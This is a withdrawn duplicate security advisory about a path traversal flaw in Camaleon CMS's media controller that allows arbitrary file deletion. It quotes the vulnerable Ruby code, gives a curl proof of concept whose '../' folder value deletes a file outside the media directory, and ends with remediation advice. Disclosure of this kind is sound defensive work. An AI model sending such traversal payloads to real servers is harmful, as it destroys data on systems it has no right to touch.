Duplicate Advisory: Camaleon CMS vulnerable to remote code execution through code injection (GHSL-2024-185)
# Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-7x4w-cj9r-h4v9. This link is maintained to preserve external references.
# Original Description
The [actions](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L51-L52) defined inside of the MediaController class do not check whether a given path is inside a certain path (e.g. inside the media folder). If an attacker performed an account takeover of an administrator account (See: GHSL-2024-184) they could delete arbitrary files or folders on the server hosting Camaleon CMS. The [crop_url](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L64-L65) action might make arbitrary file writes (similar impact to GHSL-2024-182) for any authenticated user possible, but it doesn't seem to work currently.
Arbitrary file deletion can be exploited with following code path:
The parameter folder flows from the actions method:
```ruby
def actions
authorize! :manage, :media if params[:media_action] != 'crop_url'
params[:folder] = params[:folder].gsub('//', '/') if params[:folder].present?
case params[:media_action]
[..]
when 'del_file'
cama_uploader.delete_file(params[:folder].gsub('//', '/'))
render plain: ''
```
into the method delete_file of the CamaleonCmsLocalUploader
class (when files are uploaded locally):
```ruby
def delete_file(key)
file = File.join(@root_folder, key)
FileUtils.rm(file) if File.exist? file
@instance.hooks_run('after_delete', key)
get_media_collection.find_by_key(key).take.destroy
end
```
Where it is joined in an unchecked manner with the root folder and
then deleted.
Proof of concept
The following request would delete the file README.md in the top folder of the Ruby on Rails application. (The values for auth_token, X-CSRF-Token and _cms_session would also need to be replaced with authenticated values in the curl command below)
```
curl --path-as-is -i -s -k -X $'POST' \
-H $'X-CSRF-Token: [..]' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' -H $'Connection: keep-alive' \
-b $'auth_token=[..]; _cms_session=[..]' \
--data-binary $'versions=&thumb_size=&formats=&media_formats=&dimension=&private=&folder=..
2F..
2F..
2FREADME.md&media_action=del_file' \
$'https://<camaleon-host>/admin/media/actions?actions=true'
```
Impact
This issue may lead to a defective CMS or system.
Remediation
Normalize all file paths constructed from untrusted user input before using them and check that the resulting path is inside the
targeted directory. Additionally, do not allow character sequences such as .. in untrusted input that is used to build paths.
See also:
[CodeQL: Uncontrolled data used in path expression](https://codeql.github.com/codeql-query-help/ruby/rb-path-injection/)
[OWASP: Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)
